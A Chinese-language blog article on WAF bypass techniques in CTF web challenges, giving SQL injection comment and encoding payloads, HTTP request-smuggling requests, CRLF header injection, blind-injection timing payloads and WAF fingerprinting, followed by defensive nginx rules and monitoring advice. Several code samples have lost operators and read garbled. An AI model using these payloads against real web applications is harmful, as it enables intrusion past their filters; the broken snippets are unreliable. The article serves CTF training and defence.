CTF实战中的WAF绕过技巧与防御策略
发布时间:2026/11/4 9:43:23 锦皓数字建站

1. CTF实战中的WAF绕过艺术在网络安全竞赛中WAFWeb应用防火墙就像守门员一样矗立在Web应用前端拦截着各种恶意流量。PureWaf作为轻量级规则引擎常被用于CTF赛题设计。去年某次线下赛的统计数据显示超过60%的Web类赛题都部署了不同强度的WAF防护。面对这些看门狗选手们需要掌握精准的投喂技巧。我担任过多次CTF赛事出题人PureWaf的规则配置往往存在几个典型盲区注释符干扰、编码变形、协议特性利用等。下面通过三个典型赛题案例演示如何像外科手术般精准绕过防护。2. 基础绕过注释符的艺术2.1 赛题场景还原某次比赛登录页面存在SQL注入漏洞但部署了如下PureWaf规则rule sql_injection { meta: author CTF_Org match: /\b(union|select|from|where)\b/i action: block }2.2 注释符变形实战常规注入语句 union select 1,2,3 --会被立即拦截。通过以下步骤实现绕过内联注释测试/*!UNION*/SELECT 1,2,3 --MySQL特有的/*!...*/语法会被执行但WAF可能不识别换行符分割UNI\ ON SEL\ ECT 1,2,3 --利用反斜杠换行绕过关键词检测多重注释干扰/**/UNION/*xxxx*/SELECT/*!50000 1,2*/--%0a混合使用多种注释类型增加识别难度实战技巧不同数据库的注释特性不同MySQL的/*!VERSION*/条件注释在特定场景下尤为有效3. 编码进阶多重变形技术3.1 十六进制编码案例某次题目过滤了substr等字符串函数但允许十六进制数据。构造如下payloadSELECT x61646D696E -- 解码为admin3.2 混合编码方案采用阶梯式编码策略基础URL编码union→%75%6e%69%6f%6e双重编码%→%25→%2575%256e...加入无关字符u%00ni%a0on3.3 非常用编码类型尝试这些冷门但有效的编码方式HTML实体编码∪nion→∪nionUnicode规范化u⃞nion使用组合字符UTF-7编码ACU-union需服务端支持编码类型示例适用场景URL编码%27%20OR%2011--常规过滤双重URL编码%2527%2520OR%252011--多层解码场景HTML实体 OR 11--XSS过滤旁路UTF-16BE0x270020004F005200200031003D0031--宽字节注入4. 协议层绕过HTTP走私实战4.1 基于CL-TE的走私攻击当PureWaf配置为检测GET/POST参数时可构造POST /search HTTP/1.1 Host: ctf.example Content-Length: 56 Transfer-Encoding: chunked 0 GET /admin?cmdcat/flag HTTP/1.1 X-Forwarded-For: 127.0.0.14.2 分块编码技巧分块传输时插入恶意代码POST /api HTTP/1.1 Transfer-Encoding: chunked 5 keyv 3 alu 7 ecmd; 2 id 04.3 头部注入技术利用换行符注入隐藏头部GET /?qhello%0d%0aX-Forwarded-For:%20127.0.0.1 HTTP/1.1关键点WAF通常只检查第一个Host头后端服务器可能解析多个头部5. 高级技巧时间盲注优化5.1 基于位运算的盲注传统sleep(2)容易被检测改用SELECT IF(ORD(MID(version,1,1))128,BENCHMARK(10000000,SHA1(1)),0)5.2 分块延迟检测编写自动化脚本时采用渐进式延迟def check_delay(url, payload): base_time measure_response(url) for i in range(8): test_payload f(SELECT IF(ASCII(SUBSTR(database(),{i},1)){2**i},SLEEP(2),0)) if measure_response(url test_payload) - base_time 1.5: bit_flag | 2**i5.3 非常用延时函数除sleep()外还可尝试MySQLGET_LOCK(test,2)PostgreSQLpg_sleep(2)SQLiterandomblob(100000000)6. WAF规则逆向与指纹识别6.1 规则探测技术通过错误反馈识别规则curl -X POST http://target/?qUNION/*a*/SELECT6.2 指纹特征库常见WAF识别特征ModSecurity拦截响应头含Mod_SecurityPureWaf默认错误页含PureWaf NotificationCloudflare__cfduidcookie存在6.3 规则热加载检测检测规则更新频率import time responses [] for _ in range(10): responses.append(requests.get(url)) time.sleep(60) compare_block_pages(responses)7. 防御视角的加固建议7.1 规则配置优化建议采用深度防御策略location / { # 基础规则 include /etc/nginx/waf_rules/basic.conf; # 业务特定规则 if ($args ~* union.*select) { return 403; } # 频率限制 limit_req zoneantiddos burst10; }7.2 日志监控要点关键监控指标同一IP的403错误率突增异常的HTTP方法组合如GET带Content-Length非常规User-Agent的扫描行为7.3 机器学习辅助使用LSTM模型检测异常请求from tensorflow.keras.models import load_model model load_model(waf_model.h5) def detect_attack(request): tokenized tokenizer.transform([request]) return model.predict(tokenized)[0][0] 0.8在CTF实战中WAF绕过既是技术较量也是心理博弈。我常建议选手准备三套方案基础绕过用于快速得分高级技巧应对复杂场景备用方案防备突发情况。记住最好的绕过往往藏在协议规范和业务逻辑的交界处。
锦
锦皓数字建站
深耕本土企业品牌数字化升级,专注原创端正雅致商务官网,从视觉设计到稳定运维全程保驾护航。